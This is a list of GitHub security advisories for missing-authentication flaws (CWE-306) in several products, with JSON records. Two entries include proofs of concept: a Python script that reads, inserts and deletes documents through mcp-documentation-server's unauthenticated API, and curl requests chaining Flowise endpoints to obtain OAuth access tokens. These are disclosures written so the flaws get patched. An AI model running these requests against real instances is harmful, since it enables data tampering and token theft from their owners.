CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3492 vulnerabilities reference this CWE, most recent first.
GHSA-6CFX-9CWR-VX7Q
Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Logsign Unified SecOps Platform. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the implementation of the cluster HTTP API, which listens on TCP port 1924 when enabled. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24169.
{
"affected": [],
"aliases": [
"CVE-2024-5721"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-22T20:15:10Z",
"severity": "HIGH"
},
"details": "Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Logsign Unified SecOps Platform. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the cluster HTTP API, which listens on TCP port 1924 when enabled. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24169.",
"id": "GHSA-6cfx-9cwr-vx7q",
"modified": "2024-11-22T21:32:16Z",
"published": "2024-11-22T21:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5721"
},
{
"type": "WEB",
"url": "https://support.logsign.net/hc/en-us/articles/19316621924754-03-06-2024-Version-6-4-8-Release-Notes"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-615"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6CH5-7CPV-R7G4
Vulnerability from github – Published: 2022-04-21 01:47 – Updated: 2024-02-28 00:52xlockmore 5.13 allows potential xlock bypass when FVWM switches to the same virtual desktop as a new Gaim window.
{
"affected": [],
"aliases": [
"CVE-2006-0062"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-06T03:15:00Z",
"severity": "CRITICAL"
},
"details": "xlockmore 5.13 allows potential xlock bypass when FVWM switches to the same virtual desktop as a new Gaim window.",
"id": "GHSA-6ch5-7cpv-r7g4",
"modified": "2024-02-28T00:52:35Z",
"published": "2022-04-21T01:47:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0062"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=309760"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2006-0062"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6CH6-9F47-4373
Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Platform). Supported versions that are affected are 8.0.7.9, 8.0.8.7 and 8.1.2.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks of this vulnerability can result in takeover of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-53037"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-21T20:20:40Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Platform). Supported versions that are affected are 8.0.7.9, 8.0.8.7 and 8.1.2.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks of this vulnerability can result in takeover of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-6ch6-9f47-4373",
"modified": "2025-10-21T21:33:41Z",
"published": "2025-10-21T21:33:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53037"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6F35-M55G-PH3F
Vulnerability from github – Published: 2025-07-08 21:30 – Updated: 2025-07-10 15:31Missing Authentication for Critical Function vulnerability in Drupal Config Pages Viewer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Config Pages Viewer: from 0.0.0 before 1.0.4.
{
"affected": [],
"aliases": [
"CVE-2025-7031"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-08T21:15:28Z",
"severity": "MODERATE"
},
"details": "Missing Authentication for Critical Function vulnerability in Drupal Config Pages Viewer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Config Pages Viewer: from 0.0.0 before 1.0.4.",
"id": "GHSA-6f35-m55g-ph3f",
"modified": "2025-07-10T15:31:15Z",
"published": "2025-07-08T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7031"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2025-086"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6F5R-5672-72J7
Vulnerability from github – Published: 2026-07-15 23:26 – Updated: 2026-07-15 23:26Summary
@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.
As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.
The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.
Details
The README documents that the Web UI starts automatically and tells users to open:
http://localhost:3080
It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.
The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.
In src/server.ts, the Web UI is started unless START_WEB_UI=false:
if (process.env.START_WEB_UI !== 'false') {
initializeDocumentManager().then(manager => {
return startWebServer(undefined, manager);
}).then(() => {
console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
})...
}
In src/web-server.ts, the Express app appears to listen with only the port:
const server = app.listen(PORT, () => {
console.log(`\n 🌐 MCP Documentation Server - Web UI`);
console.log(` ────────────────────────────────────`);
console.log(` Local: http://localhost:${PORT}`);
console.log(` Network: http://0.0.0.0:${PORT}\n`);
});
With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
The exposed API includes document-admin operations such as:
GET /api/documents
GET /api/documents/:id
POST /api/documents
POST /api/search-all
DELETE /api/documents/:id
GET /api/config
I did not send any Authorization header in the PoC requests, and all tested operations succeeded.
PoC
Tested on v1.13.0.
1. Build from source
cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch
git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/server.js
node -p "require('./package.json').version"
Expected version:
1.13.0
2. Start the server with default Web UI behavior
Do not set START_WEB_UI=false.
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
</dev/null \
>/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
sleep 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd
3. Confirm that the Web UI/API binds to all interfaces
ss -ltnp | grep ':3080' || true
Observed:
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
This indicates the service is not bound only to 127.0.0.1.
4. Confirm that the API is reachable through the LAN IP
LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"
curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo
Observed:
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}
No authentication header was sent.
5. Full unauthenticated document-admin PoC
cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
raw = resp.read().decode()
try:
return resp.status, json.loads(raw or "null")
except Exception:
return resp.status, raw
def main():
print(f"[poc] target = {BASE}")
print("[poc] no Authorization header is sent")
status, config = req("GET", "/api/config")
print(f"[0] config: HTTP {status}, {config}")
status, docs = req("GET", "/api/documents")
print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")
marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
body = {
"title": "network-inserted-test-document",
"content": marker + "\nThis document was inserted through the unauthenticated network API.",
"metadata": {"source": "unauth-network-poc"}
}
status, added = req("POST", "/api/documents", body)
print(f"[2] add document: HTTP {status}, response={added}")
doc_id = None
if isinstance(added, dict):
doc_id = added.get("id") or added.get("document", {}).get("id")
if not doc_id:
status, docs = req("GET", "/api/documents")
for d in docs:
if d.get("title") == "network-inserted-test-document":
doc_id = d.get("id")
break
if not doc_id:
raise RuntimeError("could not locate inserted document id")
print(f"[2] inserted id={doc_id}")
status, doc = req("GET", f"/api/documents/{doc_id}")
content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
print(f"[3] read document: HTTP {status}, marker_present={marker in content}")
status, hits = req("POST", "/api/search-all", {
"query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
"limit": 5
})
print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")
status, deleted = req("DELETE", f"/api/documents/{doc_id}")
print(f"[5] delete document: HTTP {status}, response={deleted}")
print("[poc] DONE")
if __name__ == "__main__":
main()
PY
chmod +x /tmp/docsrv_unauth_poc.py
Run against localhost:
python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080
Observed:
[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE
Run the same PoC against the host's LAN IP:
LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080
Observed:
[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE
6. Cleanup
kill "$DOCSRV_PID" 2>/dev/null || true
fuser -k 3080/tcp 2>/dev/null || true
rm -rf /tmp/docsrv_base
rm -f /tmp/docsrv_unauth_poc.py
rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log
Impact
This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.
A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:
- reading document titles, previews, and full document contents;
- searching across the entire document corpus;
- inserting attacker-controlled documents into the corpus;
- deleting documents;
- tampering with the user's local knowledge base used by the MCP assistant.
This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.
This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.
A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB_BIND_HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@andrea9293/mcp-documentation-server"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.13.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.13.0"
]
}
],
"aliases": [
"CVE-2026-54504"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T23:26:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.\n\nAs a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host\u0027s LAN IP.\n\nThe issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.\n\n### Details\n\nThe README documents that the Web UI starts automatically and tells users to open:\n\n```text\nhttp://localhost:3080\n```\n\nIt also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.\n\nThe vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.\n\nIn `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:\n\n```ts\nif (process.env.START_WEB_UI !== \u0027false\u0027) {\n initializeDocumentManager().then(manager =\u003e {\n return startWebServer(undefined, manager);\n }).then(() =\u003e {\n console.error(\u0027[Server] Web UI started (port=\u0027 + (process.env.WEB_PORT || \u00273080\u0027) + \u0027)\u0027);\n })...\n}\n```\n\nIn `src/web-server.ts`, the Express app appears to listen with only the port:\n\n```ts\nconst server = app.listen(PORT, () =\u003e {\n console.log(`\\n \ud83c\udf10 MCP Documentation Server - Web UI`);\n console.log(` \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500`);\n console.log(` Local: http://localhost:${PORT}`);\n console.log(` Network: http://0.0.0.0:${PORT}\\n`);\n});\n```\n\nWith Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThe exposed API includes document-admin operations such as:\n\n```text\nGET /api/documents\nGET /api/documents/:id\nPOST /api/documents\nPOST /api/search-all\nDELETE /api/documents/:id\nGET /api/config\n```\n\nI did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.\n\n### PoC\n\nTested on v1.13.0.\n\n#### 1. Build from source\n\n```bash\ncd ~/Desktop\nmkdir -p docsrv_repro_from_scratch\ncd docsrv_repro_from_scratch\n\ngit clone https://github.com/andrea9293/mcp-documentation-server.git\ncd mcp-documentation-server\n\ngit rev-parse HEAD\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/server.js\nnode -p \"require(\u0027./package.json\u0027).version\"\n```\n\nExpected version:\n\n```text\n1.13.0\n```\n\n#### 2. Start the server with default Web UI behavior\n\nDo not set `START_WEB_UI=false`.\n\n```bash\nrm -rf /tmp/docsrv_base\nmkdir -p /tmp/docsrv_base\n\nMCP_BASE_DIR=/tmp/docsrv_base \\\nWEB_PORT=3080 \\\nnode dist/server.js \\\n \u003c/dev/null \\\n \u003e/tmp/docsrv_stdout.log \\\n 2\u003e/tmp/docsrv_stderr.log \u0026\n\nDOCSRV_PID=$!\nsleep 5\n\necho \"DOCSRV_PID=$DOCSRV_PID\"\nps -p \"$DOCSRV_PID\" -o pid,stat,cmd\n```\n\n#### 3. Confirm that the Web UI/API binds to all interfaces\n\n```bash\nss -ltnp | grep \u0027:3080\u0027 || true\n```\n\nObserved:\n\n```text\nLISTEN 0 511 *:3080 *:* users:((\"MainThread\",pid=1781375,fd=21))\n```\n\nThis indicates the service is not bound only to `127.0.0.1`.\n\n#### 4. Confirm that the API is reachable through the LAN IP\n\n```bash\nLAN_IP=$(hostname -I | awk \u0027{print $1}\u0027)\necho \"LAN_IP=$LAN_IP\"\n\ncurl -sS --max-time 5 \"http://$LAN_IP:3080/api/config\"\necho\n```\n\nObserved:\n\n```text\nLAN_IP=10.0.250.230\n{\"gemini_available\":false,\"embedding_model\":\"Xenova/all-MiniLM-L6-v2\"}\n```\n\nNo authentication header was sent.\n\n#### 5. Full unauthenticated document-admin PoC\n\n```bash\ncat \u003e /tmp/docsrv_unauth_poc.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\nHOST = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 3080\nBASE = f\"http://{HOST}:{PORT}\"\n\ndef req(method, path, body=None):\n data = json.dumps(body).encode() if body is not None else None\n headers = {\"Content-Type\": \"application/json\"} if body is not None else {}\n r = urllib.request.Request(f\"{BASE}{path}\", data=data, method=method, headers=headers)\n with urllib.request.urlopen(r, timeout=10) as resp:\n raw = resp.read().decode()\n try:\n return resp.status, json.loads(raw or \"null\")\n except Exception:\n return resp.status, raw\n\ndef main():\n print(f\"[poc] target = {BASE}\")\n print(\"[poc] no Authorization header is sent\")\n\n status, config = req(\"GET\", \"/api/config\")\n print(f\"[0] config: HTTP {status}, {config}\")\n\n status, docs = req(\"GET\", \"/api/documents\")\n print(f\"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else \u0027unknown\u0027}\")\n\n marker = \"ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\"\n body = {\n \"title\": \"network-inserted-test-document\",\n \"content\": marker + \"\\nThis document was inserted through the unauthenticated network API.\",\n \"metadata\": {\"source\": \"unauth-network-poc\"}\n }\n\n status, added = req(\"POST\", \"/api/documents\", body)\n print(f\"[2] add document: HTTP {status}, response={added}\")\n\n doc_id = None\n if isinstance(added, dict):\n doc_id = added.get(\"id\") or added.get(\"document\", {}).get(\"id\")\n\n if not doc_id:\n status, docs = req(\"GET\", \"/api/documents\")\n for d in docs:\n if d.get(\"title\") == \"network-inserted-test-document\":\n doc_id = d.get(\"id\")\n break\n\n if not doc_id:\n raise RuntimeError(\"could not locate inserted document id\")\n\n print(f\"[2] inserted id={doc_id}\")\n\n status, doc = req(\"GET\", f\"/api/documents/{doc_id}\")\n content = doc.get(\"content\", \"\") if isinstance(doc, dict) else str(doc)\n print(f\"[3] read document: HTTP {status}, marker_present={marker in content}\")\n\n status, hits = req(\"POST\", \"/api/search-all\", {\n \"query\": \"ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted\",\n \"limit\": 5\n })\n print(f\"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}\")\n\n status, deleted = req(\"DELETE\", f\"/api/documents/{doc_id}\")\n print(f\"[5] delete document: HTTP {status}, response={deleted}\")\n\n print(\"[poc] DONE\")\n\nif __name__ == \"__main__\":\n main()\nPY\n\nchmod +x /tmp/docsrv_unauth_poc.py\n```\n\nRun against localhost:\n\n```bash\npython3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://127.0.0.1:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {\u0027gemini_available\u0027: False, \u0027embedding_model\u0027: \u0027Xenova/all-MiniLM-L6-v2\u0027}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={\u0027id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027title\u0027: \u0027network-inserted-test-document\u0027, \u0027message\u0027: \u0027Document added successfully\u0027}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{\u0027document_id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027parent_index\u0027: 0, \u0027score\u0027: 1, \u0027content\u0027: \u0027ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.\u0027}]\"\n[5] delete document: HTTP 200, response={\u0027success\u0027: True, \u0027message\u0027: \u0027Document \"network-inserted-test-document\" deleted\u0027}\n[poc] DONE\n```\n\nRun the same PoC against the host\u0027s LAN IP:\n\n```bash\nLAN_IP=$(hostname -I | awk \u0027{print $1}\u0027)\npython3 /tmp/docsrv_unauth_poc.py \"$LAN_IP\" 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://10.0.250.230:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {\u0027gemini_available\u0027: False, \u0027embedding_model\u0027: \u0027Xenova/all-MiniLM-L6-v2\u0027}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={\u0027id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027title\u0027: \u0027network-inserted-test-document\u0027, \u0027message\u0027: \u0027Document added successfully\u0027}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{\u0027document_id\u0027: \u0027ef13280d7441d5bb\u0027, \u0027parent_index\u0027: 0, \u0027score\u0027: 1, \u0027content\u0027: \u0027ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.\u0027}]\"\n[5] delete document: HTTP 200, response={\u0027success\u0027: True, \u0027message\u0027: \u0027Document \"network-inserted-test-document\" deleted\u0027}\n[poc] DONE\n```\n\n#### 6. Cleanup\n\n```bash\nkill \"$DOCSRV_PID\" 2\u003e/dev/null || true\nfuser -k 3080/tcp 2\u003e/dev/null || true\nrm -rf /tmp/docsrv_base\nrm -f /tmp/docsrv_unauth_poc.py\nrm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log\n```\n\n### Impact\n\nThis is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.\n\nA network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:\n\n- reading document titles, previews, and full document contents;\n- searching across the entire document corpus;\n- inserting attacker-controlled documents into the corpus;\n- deleting documents;\n- tampering with the user\u0027s local knowledge base used by the MCP assistant.\n\nThis can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.\n\nThis is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.\n\nA safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.",
"id": "GHSA-6f5r-5672-72j7",
"modified": "2026-07-15T23:26:57Z",
"published": "2026-07-15T23:26:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7"
},
{
"type": "WEB",
"url": "https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/andrea9293/mcp-documentation-server"
},
{
"type": "WEB",
"url": "https://github.com/andrea9293/mcp-documentation-server/releases/tag/v1.13.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default"
}
GHSA-6F6R-XP9P-X965
Vulnerability from github – Published: 2025-04-08 09:31 – Updated: 2025-04-08 09:31A vulnerability has been identified in SENTRON 7KT PAC1260 Data Manager (All versions). The web interface of affected devices provides an endpoint that allows to enable the ssh service without authentication. This could allow an unauthenticated remote attacker to enable remote access to the device via ssh.
{
"affected": [],
"aliases": [
"CVE-2024-41793"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T09:15:19Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SENTRON 7KT PAC1260 Data Manager (All versions). The web interface of affected devices provides an endpoint that allows to enable the ssh service without authentication. This could allow an unauthenticated remote attacker to enable remote access to the device via ssh.",
"id": "GHSA-6f6r-xp9p-x965",
"modified": "2025-04-08T09:31:12Z",
"published": "2025-04-08T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41793"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-187636.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6F7G-V4PP-R667
Vulnerability from github – Published: 2026-04-16 21:52 – Updated: 2026-04-24 21:01Summary
Flowise contains an authentication bypass vulnerability that allows an unauthenticated attacker to obtain OAuth 2.0 access tokens associated with a public chatflow.
By accessing a public chatflow configuration endpoint, an attacker can retrieve internal workflow data, including OAuth credential identifiers, which can then be used to refresh and obtain valid OAuth 2.0 access tokens without authentication.
Details
Flowise is designed to allow public chatflows to be accessed by unauthenticated end users via public URLs or embedded widgets. As a result, chatflowId values are intentionally exposed to unauthenticated clients and must not be treated as secrets.
However, the endpoint GET /api/v1/public-chatbotConfig/<chatflowId> returns internal flowData without authentication. The returned flowData includes workflow node definitions containing OAuth credential identifiers (credential field).
Separately, the endpoint POST /api/v1/oauth2-credential/refresh/<credentialId> allows OAuth. 2.0 tokens to be refreshed without authentication or authorization checks.
Because credential identifiers can be obtained from the unauthenticated public chatflow configuration endpoint, these two behaviors can be combined to allow unauthenticated OAuth 2.0 access token disclosure.
PoC
Prerequisites - Self-hosted Flowise instance - A public chatflow configured with an OAuth 2.0 credential (e.g., Gmail OAuth2)
Step 1: Obtain chatflowId
The chatflowId is exposed to unauthenticated users via public chatflow URLs, embedded widgets, or browser network requests when accessing a public chatflow.
Example: d37b9812-72c1-4c64-b152-665f307f755e
Step 2: Retrieve internal flowData without authentication
curl -s \
http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e
The response includes flowData containing an OAuth credential identifier, for example:
"credential": "6efe0e20-ba6f-4fbb-9960-658feffa0542"
Step 3: Refresh OAuth 2.0 token without authentication
curl -X POST \
http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542
The response returns valid OAuth 2.0 access token data, including an access_token.
Impact
An unauthenticated attacker can obtain OAuth 2.0 access tokens for third-party services configured in Flowise, potentially leading to unauthorized data access, API abuse, or account compromise.
